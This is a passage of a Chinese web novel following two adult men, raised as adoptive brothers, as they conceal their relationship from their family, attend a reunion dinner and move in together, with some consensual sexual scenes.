章长叙想起好友的叮嘱,趁着厨房里的沈眠和佣人阿姨不注意,捏了捏章长宁软软的耳垂,“没什么,去吃饭吧。” 章长宁吓得瞪大了眼睛,将制止声堵在嗓子里,“你、干什么!你别动我!” 说着,他就连忙转身和章长叙拉开距离。 章长叙盯着他发红的耳根子,心满意足地笑了笑。 … 是夜。 洗漱完的章长宁靠坐在床头,正努力回复着手机上的邮件和消息。 他离开章家时,已经处理好了手头的设计工作,所以特意没有带上自己的主用机。不过这快一个月的时间,微信和邮箱里面还是累积一些未读消息。 叩叩。 敲门声响起。 章长宁抬眼,脱口而出,“进,门没锁。” 房门打开,章长叙穿着黑色睡袍走了进来。 “……” 章长宁顿时吓了一跳,连忙从床上起身,“你来我房间做什么?” “我还能做什么?洗完澡了来看看你。”章长叙的视线往他身后的大床一瞥,“我今晚和你一块睡?” 章长宁想也不想,“不行!” 章长叙眉梢微挑,“不行?” “当然不行!” 章长宁低声重复,眼底尽是紧张,“爸妈都在家呢,发现了怎么办?” 章长叙将他搂到自己的怀中,“怕什么?以前在家里,我们不是也隔三差五睡在一块?” 两人贴得太近了,彼此身上的沐浴露味道散发出来,很浅,却又很微妙地融合。 房间里的冷气开得很足,但章长宁只觉得浑身发烫,他哽了一下喉结,“那现在和以前又不一样?” 章长叙又贴近了些,问,“哪里不一样?” 章长宁看清他眼底的笑意,“你明知故问!” 章长叙嘴角上扬的弧度更明显,他抵住章长宁的额头,“宁宁,你现在就差把‘做贼心虚’四个大字写在脸上了。” “哼。” 章长宁哼了一声,却没舍得撤出他的怀抱,“又不是我一个人做贼,你这不是同伙吗?” 章长叙笑了声,又蹭了蹭他的鼻尖,“宁宁。” 温热的呼吸隐隐勾在一块。 章长宁突然觉得自己有些渴,闷闷地应了一声,“嗯?” 章长叙的指腹蹭上他的下颚,轻轻一抬,刚准备吻下去,结果门口走廊就响起了动静。 章渡上楼梯路过二楼,站在门口喊,“小宁?这段时间累了吧,今晚早点休息!” “……” 章长宁顿时一激灵,也不知道哪里来的力气,猛地将章长叙推开了好几步,“啊……哦!爸,我知道了!晚安!” 章长叙毫无防备,难得晃了一下身形才站稳。 脚步声渐行渐远,听上去像是上了三楼。 章长宁这才松了口气,看向章长叙,才发现对方正一脸无奈地看着他。 “你别看我了。” 章长宁知道自己的反应有点太激烈了,但他就是很紧张,哪怕回来之前就做好了心理准备,但总不能到家第一天就露馅坦白吧? “总之,你今晚不能住我这里!” 章长宁走近,推着章长叙往外走,“快走快走快走!你明天不是还要回医院上班吗?早点睡!” 一边说着,一边还打开门,将章长叙推送了出去。 章长叙哭笑不得,“宁宁!章长宁!” “欸!我在呢!” 章长宁确定走廊这会儿没人,迅速在章长叙的嘴角落下一个吻,“哥,晚安哦!好好休息!” 章长叙不依不饶,扣住他的后脑勺就用力追吻了上去。 下唇又被咬了咬,不重,时间很短。 章长宁吃痛,没忍住哼了一声,意识到自己出声的他又连忙伸手捂住自己的嘴,“快走吧你!” “……” 回家后的这待遇,还不如继续留在瓦县呢。 章长叙拿他没有办法,故意板着脸威胁,“章长宁,你给我等着。” “哦。” 章长宁现在不怕他了,啪叽一下就关了房门。 三秒后,他听见房间门口一声叹气,顿时偷笑出声。 33、【第033章】 因为是柏续第一次以“自家人”的身份来到章家吃饭,全家人都很重视这次聚餐,一大早就开始为了晚上的碰面而忙碌起来。 章长宁将这一切看在眼里,却没有半点嫉妒,而是有种说不清、道不明的紧张和尴尬。 他很担心自己之前的任性出逃,会成为父母和柏续之间不可明说的小疙瘩,要不然,章家和柏续之间的这顿饭,怕是早就吃上了。 见面时间约在傍晚五点。 一家人早早地等候在别墅门口,脸上都是难以遏制的激动和期盼,章长宁默默靠边站着,垂落在两侧的手不自觉地撵了撵衣角。 商延枭开车带着柏续,准时抵达了章家别墅。 章渡和沈眠搀扶着章老夫人,第一时间就围了上去,作为大哥大嫂的章长风和苏阳也抱着孩子上前表示欢迎。 章长宁望着被家里人团团围住的柏续和商延枭,不自觉地往空落落的道路上瞥了两眼—— 要是章长叙这会儿在这儿就好了。 对方今天回医院工作、开会,四点半发消息说会议才结束,到家估计还需要点时间。 “……” 又一阵风吹了过来。 章长宁发丝微动,就听见章长风说,“爸,妈,奶奶,要不我们先进屋?坐下来再慢慢聊?” 他回过神,不好意思地看了一眼许久未见的好友,“是啊,傍晚起风了,别让奶奶和念念冷到。” “长风长宁说得对!” “进屋,进屋再说!” … 一行人走回了屋内。 难得上门的柏续和商延枭又一次被团团围住,嘘寒问暖的。 章长宁默默站在客厅边缘,想要上前和柏续打招呼,又不知道自己该说些什么。 在身世关系揭破前,他自认和柏续的关系不错,能插科打诨、也能袒露心事,但自从知道柏续是章家丢失的小儿子后—— 章长宁就总觉得自己“亏欠”了柏续,待在本该属于他的幸福家庭里生活了二十年,于是在前往瓦县前,他还特意将自己积攒多年的零花钱和积蓄托人全部转交给了柏续。 算是他聊胜于无的补偿和道歉。 现在回想起来,章长宁就尴尬恨不得找个地洞钻下去。 毕竟,柏续和商延枭随随便便联手的一个商业案子,就顶他好几张银行卡了! 在揭露身世后,章长宁和柏续已经有一个多月没正儿八经的见面聊过天了,他拿不准好友对自己的看法,所以这会儿也缺乏了主动开口的勇气。 正想着,处在中心位的柏续就冲他开了口,“长宁,章医生呢?” “啊?” 章长宁对上柏续投来的视线,心里一紧,“哦,二哥今天有个学术研讨会,四点半才结束,应该也快到家了。” 章老夫人见俩乖孙子搭上话,笑着地接了一句,“你二哥倒是什么都和你报备。” “……” 章长宁卡壳。 柏续看准时机,对着章家其他人说,“我能和长宁单独聊几句吗?” 章渡察觉出两个孩子间相对“尴尬”的关系,“当然,晚餐还要点时间,你们怎么开心怎么来。” 沈眠和章老夫人应和,“是啊,都是在自家,千万别拘束。” 章长宁对上其他人投来的视线,莫名有些局促。 身为大哥的章长风出声,“长宁,你带柏续上楼?等到了饭点再上去喊你们。” 章长宁连忙应下,“好的!” 他本来就想着要找机会和柏续单独聊聊,顺带再和对方真诚地道个歉。 … 帝京的下班高峰期总是堵车。 哪怕章长叙已经赶在会议结束的第一时间就赶回家,但还是堵了一小段的路,好在夏日天光长,到家前的天色还没全黑。 他将车子停进了车库,刚一下车就听见有人喊,“长叙,回来啦?” “……” 章长叙看了过去,才发现章长风在侧门的阴影里站着,似乎是专门在等他。 “哥?” 章长叙锁上车,走近,“延枭他们来了吗?” 章长风颔首,“嗯,刚来不久,俩小弟这会儿上楼聊天呢,延枭陪着长辈们在楼下坐着。” 他顿了顿,认真问,“我们哥俩也聊聊?” 章长叙猜到了章长风单独等在这里的用意,点头,“好。” 兄弟两人特意绕到了无人的后院。 章长风这才转过身,问,“长叙,你真的想好了?你和小弟怎么就……” “哥。” 章长叙低声制止了他未尽的话,认真回答,“想好了,我是认真的,宁宁……宁宁也是,只是他现在顾虑得太多,比我更难踏出那一步。” 那天,章长叙独自一人冒雨回到酒店,深思熟虑后给章长风打通了那个电话,坦诚了自己对章长宁超出“兄弟”之外的那份感情。 说实在话,章长风一开始得知这事后,同样震惊地说不出话。 同住一个屋檐下那么久,他根本就不知道两个弟弟背着他居然发生了这么多事,但同样是因为从小一起长大,他更知道章长叙不是在开玩笑。 他就是认定了章长宁,打定主意要和对方在一块,所以才会将这事提前透露给他。 章长风隔着后院窗户,往屋内瞥了一眼,哪怕什么都看不见,他也能猜测章渡和沈眠此刻的好心情。 “爸妈不一定会接受。” “我知道。” 哪怕章长宁和章家没有血缘关系、也解除了领养条件,但在父母和外人的眼中,那可是实打实当成亲儿子养了二十年。 “我知道。” 章长叙重复了一句,垂下眼,“哥,可我不能失去他,我离不开他。” 章长风沉默了半晌,最终还是拍了拍章长叙的肩膀,默认了。 “走吧,回屋。” “哥,我……” 章长叙欲言又止。 章长风瞧见他脸上难得的纠结,笑了声,“行了,我知道了,从小到大难得有你求我的时候,谁让我是你、你们的大哥呢。” 他使劲搂了搂章长叙的肩膀,“放心吧,爸妈那边有我呢,将来要是说破了这事,哥站你们这边。” 章长叙心弦微松,“谢谢大哥。” “进屋吧。” “好。” … 兄弟两人进屋的时候,餐桌上的饭菜已经摆得差不多了。 章渡说,“人都到齐了,要不就坐下吃晚餐吧?谁上去喊喊小续和小宁?” “我去吧。” 章长叙和商延枭同时出声。 两人默契对了一道视线,章长叙补充,“我正好要上楼放东西,延枭跟我上去吧,他们俩估计在长宁的房间里。” “好。” 柏续和商延枭的情侣关系已经不是秘密了,章渡点头,“行,你带延枭一块儿上去。” 两人踩着楼梯往上走。 等过了楼梯拐角、避开了众人的视线,商延枭才问了一句,“你和小宁现在怎么样了?怎么找到他的?” 前阵子章长宁“失踪”,章长叙私底下都快找疯了。 “我出差到甘南,他住的瓦县就在甘南边上,意外遇上后,我们就把很多事情说开了。” 他们俩藏在心里的感情本来就是双向,只是需要勇气迈出去那一步。 章长叙没有隐瞒真实情况,“只是我爸妈还不知道,这关估计不好过,以后万一要是被发现了,你和柏续可得帮忙说说情。” 商延枭笑了声,“行。” 二楼,章长宁的房间门正虚掩着。 章长叙和商延枭推门而入的那一刹那,就瞧见了房间内抱在一块的两团身影,步伐霎时一顿: 什么情况? 怎么还抱在一块了? “……” 听见动静的章长宁往门口一瞥,瞧清来人的身影后,火速松开了柏续。 章长叙和商延枭几乎是同时走了近来,视线各看各的。 章长宁刚才和柏续聊了很多,解开了那点尴尬的心结,所以才激动地抱了抱好友,哪里料到就撞在这个节骨眼上了。 他生怕这章长叙和商延枭误会了什么,正准备解释,就听见边上的柏续打趣,“请三少明鉴,我和长宁是清白的~” 商延枭早就习惯了自家恋人这时不时的揶揄,无奈却配合,“嗯,知道了,只是背着我拥抱了而已,很清白。” 章长宁哪里见过他们情侣间的小情趣,结巴,“三哥,我、我刚才……” 柏续和商延枭同时笑开,没料到一来一回反倒把章长宁惹红温了。 “你们俩差不多行了,孩子这段时间本来就在犯迷糊,再逗就要晕了” 章长叙第一时间就拉过了章长宁的手腕,眸底藏着笑,“过来,别搅和进他们夫夫当中。” 章长宁感受到手腕传来的那抹凉意,整张脸却烫得更厉害,“哦。” 他试图挣了一下手腕,结果腕上传来的力道更紧了。 柏续适时捕捉到两人那点微妙的氛围,假装只当没看见,“你们俩怎么上来了?” “楼下饭菜备好了,章伯伯让我们上来喊你们。”商延枭一点儿都不避讳地牵起了柏续的手,“走吧,下楼。” 柏续笑了笑,“好。” 章长宁正准备跟上,结果拢着他手腕的章长叙没动弹,他紧张地盯着章长叙看,含糊示意,“二哥!松开!” 章长叙没松开,淡声示意,“延枭,你们先下去,我单独和长宁说几句话。” “行。” 柏续和商延枭了然,转身就往卧室外走,将独处的空间留给了更需要的人。 关门声响起。 章长宁看着罪魁祸首,“你干什么呀?三哥他们会怀疑的!” 章长叙将他拉近自己,“怀疑什么?你以为延枭他们还看不出我们之间的关系?不仅他们看得出来,大哥也知道了。” 章长风知道的话,作为大嫂的苏阳早晚也会知道。 “……” 章长宁震惊,连眼睛都忘了眨,“大哥什么时候知道的?他、他没反对吗?” “别紧张,是我说的。” 章长叙将大概经过和章长宁复述了一遍,“大哥没反对,延枭和柏续更不会反对,宁宁,即便我们过得再小心翼翼,爸妈早晚也察觉我们的关系,现在多几个人知情并且支持我们,百利而无一害。” 章长宁知道章长叙说得是对的,浅叹一口气,“嗯,我知道。” 章长叙用指腹蹭了蹭他的眼角,“刚进屋就看你眼眶红红的,怎么哭了?和柏续聊什么呢?” “就是聊聊这一个多月发生的事,顺便相互道个歉,说了说真心话。” 章长宁没有多加复述,但他知道章长叙会懂,“哥,柏续真的是个很好的人。” 章长叙应了一声,贴近亲了亲他的唇,“你也很好,不过现在要论起我们几个人之间的关系,你和柏续还是——” “……” 章长宁想到了关联的称呼,瞬间臊得推开章长叙,“章长叙,你、你够了!别瞎说!下楼吃饭!” 说着,就推开章长叙往外走。 章长叙连忙跟上,一点儿没生气,“宁宁,你现在喊我全名倒是越来越顺口了。” … 章长宁解开了那点心结,在众人面前总算恢复了以往那点活泼,加上柏续也不是个怕生的性子,这场家宴倒是比预想中得更热闹融洽。 家宴结束后,喝了酒的柏续和商延枭就在众人的提议下留下来过夜。 章家的这套别墅是在章长宁高中的时候买来入住的,一共三层半,单层面积就不小,再加上前后院和车库,整体的占地面积很大。 沈眠和章渡一直盼望着丢失的小儿子有机会回来,所以一开始就在三楼留好了房间,这不,晚餐结束后,前者就领着柏续上楼了。 章长宁没有凑上前打扰,而是回到自己的房间、洗完了澡。 敲门声响起。 在得到他的响应后,沈眠才走了进来。 “妈。” 章长宁连忙放下平板,挺起身子,“你和柏续聊完啦?” 沈眠的眼角还沾着泪光,显然是在楼上和柏续聊哭过了,“嗯,我看时间还早,再下来看看你,小宁,我……” “妈妈,不用多说了,我都明白。” 章长宁主动抱住沈眠,暖心安慰,“柏续愿意回来,我替你和爸爸感到开心,我不觉得委屈,你和爸爸从来没有对不起我,是我前阵子太任性了,伤了你们的心。” 沈眠揉了揉他的脑袋,“乖,一家人不说这些。” “嗯。” 母子两人聊了好一会儿,沈眠才起身离开、让他早点休息。 章长宁看着床头柜上的电子时钟,丝毫没有睡意,他有点想跑去章长叙的房间,看看对方在做什么,但又怕自己的行为太明显,惹来家中长辈们的怀疑。 “……” 这瞒着父母谈恋爱,难免心虚。 以往进章长叙房间,那就是几步路的事,现在的章长宁犹豫了半天,也没敢迈出这一步。 章长宁拿起手机,打算发条微信解解这几步路的“相思之苦”,结果忽然就听见了房门外的动静,下一秒—— 没上锁的房门被章长叙轻而易举地打开,对方迅速进屋,还反手将门上了锁。 章长宁一惊,半跪半撑地待在床尾看他,“哥,你怎么来了?” “问的什么话?” 章长叙大跨步靠近,像是已经在脑海里演练了无数次,他微微弯腰,伸手拦搂住了章长宁的腰腹,顺势往前一带。 章长宁毫无防备地被扣押在了床上,紧接着,章长叙就掀起了被子往他们的身上一盖。 被子掀起一阵短促的风,荡起彼此身上沐浴露的浅淡香味。 章长宁懵了两秒,抬眸撞上章长叙的浅笑,“你、你干嘛呀?” 章长叙表明目的,“今晚我在你这里睡,不回去了。” “……” 章长宁哼唧,“被爸妈发现了怎么办?” “门都上锁了,不会发现的,大不了我明天早点起床回去。” 章长叙搂着怀中的章长宁不肯放,语气上却示弱,“……我昨晚就没睡好,今天在医院忙了一整天,也很累。” 其实他是直接失眠到了凌晨四点多,才勉强有了一丝睡意。 章长叙实话实说,“宁宁,我昨晚很怕我一觉醒来,你又不见了,想着大半夜偷偷来找你,又怕打扰到你休息。” “哥,我以前怎么没发现你那么黏人?” 章长宁头小意思,没了反对的心,“别怕,我不会再走了,我也想和你在一块。” 章长叙听到了自己想要听到的话,笑着低头埋进章长宁温热的颈窝,深吸了一口气,“好香,好甜。” 章长宁被颈上传来的酥麻惹得一阵不自在,害羞,“甜什么甜啊,就是正常的沐浴露味道,很淡的。” 虽然他一直爱用椰奶味的沐浴露,但这牌子的配方是特意调淡过的,更适合男孩子的浅香型。 章长叙吻了吻他的耳后,“就是很好闻。” “你别呀。” 章长宁敏感地哼了一声,行动上却没多少抗拒。 两人都是成年男人,又搂抱在同一条被子里,哪怕房间开足了冷气,但体内的热意还是很快地冒了上来,就快擦枪走火了。 章长宁意识到了自己隐隐攀升的那点冲动,又想起正楼上住着柏续和商延枭,连忙回过神要求,“哥,你关一下灯,我们该睡觉了。” 章长叙照做,只留了浴室内的那盏照明小灯。 章长宁趁着他挺身关灯的那点空隙,连忙转身背对,扯过被子假装要睡觉。 章长叙躺了下来,重新将他搂到怀中,“转过来。” “我不。” 章长宁动弹了一下,后背反倒完美贴合在了章长叙的怀中,不仅如此,就连下面也贴得更紧了。 “……” 章长叙的呼吸重了一拍。 章长宁察觉到了什么,当场就僵得他不敢再动,“我、我睡了,晚安。” 章长叙没有理会他这句口是心非的晚安,有一搭没一搭地吻着他的颈侧和耳垂,点点的酥麻骚动,就像是草原上的点点星火,瞬间烧红了一大片。 “……” 章长宁的呼吸和心跳乱了节拍,有些不可言说的欲/念彻底冒了头。 他不安地蜷缩了一下身子,下意识地喊,“哥……” 这声称呼里夹杂着一丝说不清、道不明的冲动,连他自己都来不及分辨,可章长叙搭在他腰上的手顷刻往下一滑,拿捏住了。 “唔。” 章长宁呜咽了一声,整个身子都绷紧了。 章长叙没松手,说话的语气明显沉了些,“宁宁,放松点。” “我……” 章长宁只感觉所有的血液都在往同一个地方涌去,他不敢发出声,双手胡乱地往被子上一抓,喘了两声。 章长叙贴在他的耳侧问,“之前弄过没?” 章长宁紧张地滚了好几下喉结,支支吾吾,“有、有的。” 章长叙很微妙地笑了声,明知故问,“嗯?自己?想着谁?” 口吻就像是医生的例行问诊,低沉却平静,落在章长宁的耳朵里就有种近乎致命的蛊惑力。 他一想到这双平时用来做手术的手,这会儿正在取悦自己,整颗心就膨胀得想要爆炸,局促羞耻的同时又有种说不出的满足感。 “想……想着你。” 章长宁颤着睫毛,垂着脑袋,回答声很软也很诚实,“有时候都不用,做梦……梦到你帮我……” 就像现在这样。 然后等到一觉醒来,他就会发现自己潮湿得一塌糊涂。 章长宁回想起曾经那些不可言说的、肮脏却赤诚的欲/望,想到自己每每梦醒时的无措和空/虚,酸涩感泛起的一瞬间,又被章长叙加重的刺激惹得呼出了声。 有点控制不住的响,也有点撩人荡漾。 章长叙看似平静的神色酝酿着凶狠的风暴,他低头攫上了怀中的耳垂,几乎是一并用力起来。 “啊!” 章长宁急急地吸了两口气,发现自己根本逃脱不了这样的刺激。 他意识已经有些混乱了,扯过一旁的玩具抱枕半捂半遮着自己的脸,他不受控制地合上眼,任由思绪越来越长,直到彻底泛白。 “……” “……” 呼吸声杂糅在一块。 章长宁眼睛里的焦距慢慢回笼,这才发现盖在两人身上的被子早就落到了一侧,而他也不知道在什么时候转过了身,这会儿已经和章长叙面对面了。 章长叙吻住他的唇,瞳孔深处的风暴还没停下,“舒服了?” 章长宁没察觉到他蛰伏的“凶”意,不好意思地嘟囔,“都怪你。” “谁怪谁?” 章长叙蹭着他的鼻子,抬起了手,“谁把谁弄脏了?嗯?” 章长叙的手指很修长,甚至称得上是很漂亮,但此刻,他的指尖和掌心都沾上了不可言说的黏稠。 章长宁瞬间红透了一张脸,“我、我去给你拿湿巾,你等……” 忽然间,章长叙一个翻身就压制住了他,“着什么急?待会儿再去。” 话音刚落,他的掌心就落在了章长宁纤细泛红的脖颈上,刻意地、藏着爱意和邪念,用力抚摸了两下,“宁宁,你乖点。” 掌心里温热的潮湿催生出新一轮的暧昧。 章长宁意识到了什么,本能地瑟缩了一下,“哥。” “不怕,今晚不到那一步。” 章长叙这话像是在保证,也像是在宣告开始。 下一秒,他扣在喉结的手掌轻轻一锁、顶着章长宁下颚一抬,眼底的风暴破开,一言不发地用力吻了下去。 34、【第034章】 章长宁和章长叙差不多是同时醒来的。 睡意朦胧间,章长宁想起昨晚睡前那阵情迷意乱的折腾,明明没做到最后一步,但也到了神魂颠倒的地步。 章长宁只是想了想,就觉得一大早又热了。 他小幅度地调整了一下姿势,“哥?” “嗯?” 章长叙应了一声,指腹揉搓着他的发丝,“还早,不多睡一会儿?” 章长宁问,“几点了?” “闹钟还没响,应该还没到七点。”章长叙拿起手机看了看具体时间,“六点五十二,我再陪你躺个七分钟,我就回自己的卧室。” 章长宁还有点陷在温软的睡意里,不自觉蹭了蹭他的肩膀,“你要回去了吗?” 章长叙瞧出他的那点舍不得,暗笑,“不是你说怕爸妈他们发现?” “……” 章长宁耳根子一烫,随口转移话题,“你怎么每天都要起那么早啊?” “没办法,家离医院有点距离,迟点出门容易撞上早高峰。” 章长叙还算是有自制力的,工作的这些年基本就没有迟到过,但如今早上睡醒后还能抱着章长宁赖床,他突然觉得早起是挺痛苦的。 哪怕每天多赖上半小时呢? 章长叙若有所思,“宁宁。” 章长宁抬眸看他,“嗯?” “要不,我们搬出去住吧?找个合适理由。”章长叙想起昨晚章长宁刻意压制的撩人声音,心意越发明确,“住在家里,确实有点不方便。” “……” 章长宁确定他不是在开玩笑,“爸妈那边怎么办?” 章长叙说,“我住家里就得牺牲睡眠时间早起,之前不愿意搬到外面去住,是想着住在同一个屋檐下、早晚都能见到你。” “但现在情况不一样了。” “大哥大嫂自从生了念念,带着孩子回来住的次数变多,加上柏续和延枭接下来肯定也会长来往,我们俩现在关系又不一样了,住在家里终究会遇上不方便的时候。” “不如搬出去一起住?找个离医院、离你工作室折中的地段,买房子或者租房子都可以。” 章长叙从来不说虚话,既然已经提出来,就是有把握去实施,“你要是同意的话,待会儿吃早餐的时候,爸妈那边我来沟通?” 章长宁蠢蠢欲动,“其实找个离你医院近的房子就可以,我工作室那边上班时间很自由。” 章长叙听见他同意,又捏了捏他的耳垂,“就当你同意了,我争取这周内就落实下来。” “嗯!” 话音刚落,手机定好的闹钟就响了起来。 章长叙迅速关闭,吻了吻章长宁的额头,“我回房间了?” 章长宁已经没了睡意,但还是往被子里面藏了藏,打算继续赖床。 章长叙再三确认,“我真回去了?” 语调还是很平稳的,但就是能让人听出一丝藕断丝连的不舍。 章长宁露出小半张脸,圆溜溜的眼中透出一丝笑,“哎呀,快点吧,待会儿真被家里人了,看你怎么解释!” “看来还是得尽快搬出去了。” 章长叙低声重复了一句,隔着被子拍了拍他,“早安。” “早安~” 章长宁顿了顿,喊他,“章医生~” 章长叙是带着笑意出门的,他的卧室和章长宁的卧室隔了楼梯过道,正往回走时,章渡的身影就从三楼走了下来。 “……” “……” 父子两人的目光隔空一对,章长叙不由顿住步伐。 章渡走下来问,“你这一大早的,是从哪里出来?” 说着,他还往章长叙走过来的方向瞥了两眼。 章长叙说,“哦,我房间冷气不给力,昨晚在长宁房间睡的。” 章渡听见他一如既往的平静语气,微微颔首,“你小弟醒了吗?” “醒了,在赖床呢。” 章长叙如实回答,“爸,我先回房间洗漱了,待会儿还得上班。” 章渡点头,“好。” … 家里的孩子难得都聚在一块,章家今天的早餐布置得格外丰盛,一向爱赖床的章长宁都早早地洗漱完毕,和柏续等人一块入座了。 沈眠的视线挨个落在孩子们的脸上,开心地都顾不上吃了。 章渡端起花茶喝了一口,突然想起了什么,对着管家示意,“待会儿找空调师傅来看看,长叙说他房间的空调制冷不太好,这天还得热一阵子呢。” “……” 章长叙一怔。 沈眠关心,“冷气坏了?昨晚没睡好吗?” 章渡说,“嗯,一大早地就看他从长宁的房间出来,反正让师傅把他们兄弟几个人的卧室都查查。” “——噗!” 章长宁呛了一口燕麦牛奶,差点喷出来。 边上的柏续连忙给他递上纸巾,看破不说破,“没事吧?” 他看热闹不嫌事大的目光还在章长叙的脸上晃了一圈,显然明白“冷气不足”只是被长辈撞破后的借口。 商延枭帮着打掩护,“我昨晚也觉得三楼卧室的冷气不太足。” 章长宁用纸巾捂着嘴巴,摆了摆手,小眼神暗戳戳地瞟了一眼章长叙。 身为大哥的章长风坐在对面,将弟弟们的反应尽收眼底,他没吭声,只给妻子递上一盏刚刚温好的燕窝。 沈眠没往其他方面想,“那是得找师傅来好好看看。” 章长叙很快就恢复了镇定,他无视了身旁投来的两三道视线,趁机提出,“爸,妈,我和长宁想搬出去住。” 章渡闻言,视线落在他们两人的脸上,“搬出去?” 章长宁顿时紧张起来,手里的三明治都不香了。 反倒是章长叙很淡定,“嗯,我下半年要考评,医院那边只会越来越忙,家里住着虽然舒服,但离医院还是太远了,早晚通勤很耗费时间。” “我想着,找个离医院近些的房子,工作日可以节省点时间,周末有空再回家小住。” “长宁现在帮小续管着那家陶艺工作室,虽然和医院不是在同一个区,但我看两个地点反而都比家离得近。” “而且长宁工作时间比我自由,偶尔时间能够岔开,如果住在一起,我们……兄弟之间还能相互有个照应。” 一番话,说得毫无破绽。 章渡和沈眠对视一眼,向来很尊重孩子们的意愿,“小宁,你也是这么想的?” 章长宁点头,只是有点心虚,“嗯。” 章长风说,“妈,我觉得挺好的,长叙应该是我们家最忙的,我看他天天七点醒,尽量避着早高峰开车去医院,长期下去是容易吃不消。” 柏续也同意,“找个离医院近的房子,每天早上可以多睡一会儿,下班也能早点回家休息。” 沈眠想了想,还剩下最后一丝犹豫,“我就怕离了家,你们一日三餐不定时吃。” 章长宁这会儿倒是应得快,“妈,我和二哥又不是小孩子了,我们能解决,大不了以后顿顿拍照片在家庭群里给你打卡报备呗。” 章渡说,“行,随你们自己拿主意。” 沈眠也笑了笑,没反对。 章老夫人要求,“那你们周末可都得回来陪奶奶,一个都不准少。” “好。” “知道了奶奶。” “会的,有空就回来。” 章老夫人左看看右看看,“长风和阳阳是一对儿,小续和延枭是一对儿,就你们……” 老人家看向章长叙和章长宁,心里一半是欢喜一半是无奈,“就你们两兄弟搞特殊。” “……” 章长宁不敢说,藏着桌下的腿一下又一下地撞着章长叙,仿佛要将全部的害羞劲都借机发散出来。 章长叙面上装得平静,却也腾出一只手,短暂而迅速地捏了捏章长宁的腰侧。 坐在边上的柏续一不小心就看了全程,八卦得连吃早餐的速度都慢了:啧啧,家长的眼皮子底下调情! 商延枭的注意力紧追着恋人不放,凑近和他咬耳朵,“阿续,吃饭,再看就替他们露馅了。” 柏续和他相视一笑,“哦~” … 不到半个月,章长叙和章长宁就搬进了合适的新房子。 “这地段好,楼层也不错!” 章长宁满意地环视了一圈,跑回到章长叙的身边难掩兴奋,“哥,以后我们就住在这里了?” “嗯,房主人还在国外,我先短租了半年,你要是觉得不错,等他明年回国,可以再商量买房过户的事情。” 章长叙圈住他,“到时候,再按照你想要的风格装修。” 沈眠对他们兄弟两人外住一事很关心,特意让家里的佣人来提前打扫过,还将他们日常需要的东西都备齐全了。 这会儿,两人拎包就能入住。 章长宁很知足,“我觉得这样就挺好的,先说好了,房租我也得出,我现在能赚钱了。” “不说这些。” 章长叙才不在意这点费用,他主动牵起章长宁的手,“这两间卧室是并列朝向的,面积差不多大,你喜欢哪间?” 章长宁一时会错了意,“……我们分开住吗?” 章长叙失笑,手却牵得更紧了些,“你想分开睡?还是一起睡?我尊重你的想法。” “……” 章长宁看出他眼底的一丝揶揄,于是口是心非,“那还是分开睡吧,毕竟我俩生物钟不一样。” 章长叙闻言,也不问了,干脆利落地将他扯进了其中一间房,“就这间,我们一起睡。” 分开睡?不可能。 “哦。” 章长宁声线里都带着笑,忍了几秒还是没憋住,他晃了晃章长叙的手,“章医生,就这还尊重我的想法呢?让你装~” 章长叙也不狡辩,反手将他托起、搂抱住了。 “欸!” 突然的腾空感让章长宁一慌,但身体的习惯高过一切,他本能地用双腿盘住章长叙的腰身,双手也勾在了对方的臂膀上。 小时候,章长叙经常这样抱他。 不过现在毕竟长大了,这样面对面的搂抱姿势还是让章长宁有些脸红,“哥,你干嘛?” 章长叙轻啄了一下他柔软的唇,“听说搬新家需要暖房,但我觉得这是我们两人的小空间,最好以后谁都不要来。” “真小气。” 章长宁玩笑,捉着字眼问,“那现在就我们两个人,怎么暖房啊?” 章长叙抱着他往前走了两步,压在床上,“你说呢?” 不由分说的吻落了下来。 章长叙总是给外人一种冷静自持的淡感,可只要触及到亲密行为就像是换了一个人,他的吻又凶又狠,带着近乎疯狂的侵略性。 章长宁来不及反应就被掠夺了呼吸和心跳,只能弱弱地呜咽了两声,迷迷糊糊地想着—— 感觉章长叙这些年比他压抑得还要难受,真是给憋坏了!以后真要做到那一步,他可得怎么办啊? 章长叙的深吻停下,手里的攻势却更紧了一步。 “……” 章长宁有些迷茫地抬了抬眼,闷哼了两声。 章长叙看向他,呼吸重了些,“这回不紧张了?” 一回生二回熟。 章长宁说,“不紧张,就是有点凉~” 章长叙听见这话,随手扯过一旁的被子覆盖在他们两人的身上、没过了头顶。 他的吻断断续续地落了下来,“这样会不会好点?” 被子遮盖住了大部分的光线,热意逐渐攀升,蕴得彼此的眉眼都有些模糊。 “你手……” 章长宁暗戳戳地贴紧章长叙,催促,“别停。” 章长叙又笑了,如他所愿。 章长宁的意识有些抽离,恍惚间,他注意到章长叙的衬衫还牢牢穿在身上,只是略微有了些皱痕。 向来冷静的眸色里充斥着浓浓的爱/欲,有些矛盾,但很性感。 曾经梦里的虚幻场景变得真实,甚至更令他神驰目眩,章长宁一想到这儿,没忍住几下就缴械投降。 “唔!” “……” 章长叙感受到了手心里的湿热黏意,却没半点嫌弃。 他望着失神中的章长宁,又吻了上去。 气息和呼吸都乱了套。 章长宁听见章长叙提前告知,“宁宁,以后有些事情,我会很凶,你得……做好心理准备,好不好?” 是以后,不是现在。 看似温柔的预告和请求里,暗含着强硬的占有欲。 章长宁没有害怕,反而有种隐晦的激动和期待,他望着近在咫尺的章长叙,蹭了蹭他冒汗的鼻尖,“哥,我很舒服,也很喜欢。” 坦诚而直白的话,就像是一剂催促剂。 章长叙忍得辛苦,“嗯?” 章长宁说,“你想怎么样都可以,我不怕,现在也可以。” 章长叙忍无可忍,咬了一下他的下唇,“有些东西还没买好,今晚不着急,不能让你受伤,而且……” “而且什么?” “而且我明早还要上班。”章长叙浑身都在发烫,偏偏言行克制,“我怕有些事情一旦开了头,万一要不够就会想着、念着,容易耽误工作。” “……” 章长宁埋在他的颈窝里闷笑。 他还以为,当医生的人最会克制这方面了呢,章长叙看着也不像是重/欲的人。 章长叙往下压了压,像擒住猎物般地咬住他的耳垂,“宁宁,你帮帮我。” 章长宁没接话,而是径直掀开了两人身上的被子,他要求章长叙翻身,然后跨坐在了对方的身上。 “好,我帮你。” … …… 章长叙是被准点的闹钟声给唤醒的,他慢悠悠地睁开眼,才发现睡在怀中的人不见了踪影。 困意在一瞬间退了干净。 章长叙连忙起身,将扰人的闹铃关闭,“宁宁?” 他环视了一圈卧室,目光定向同样没有开灯的卫生间。 昨晚,他们两人“互帮互助”了不止一次,隔壁卧室新换的被单遭了殃,所以才临时换到这个房间睡觉。 “宁宁?!” 章长叙火速下了床,推门往外走。 他一颗心高悬在空中,直到推门的那一刹那,空气中飘来一阵早餐的香气,是从厨房里面传来的。 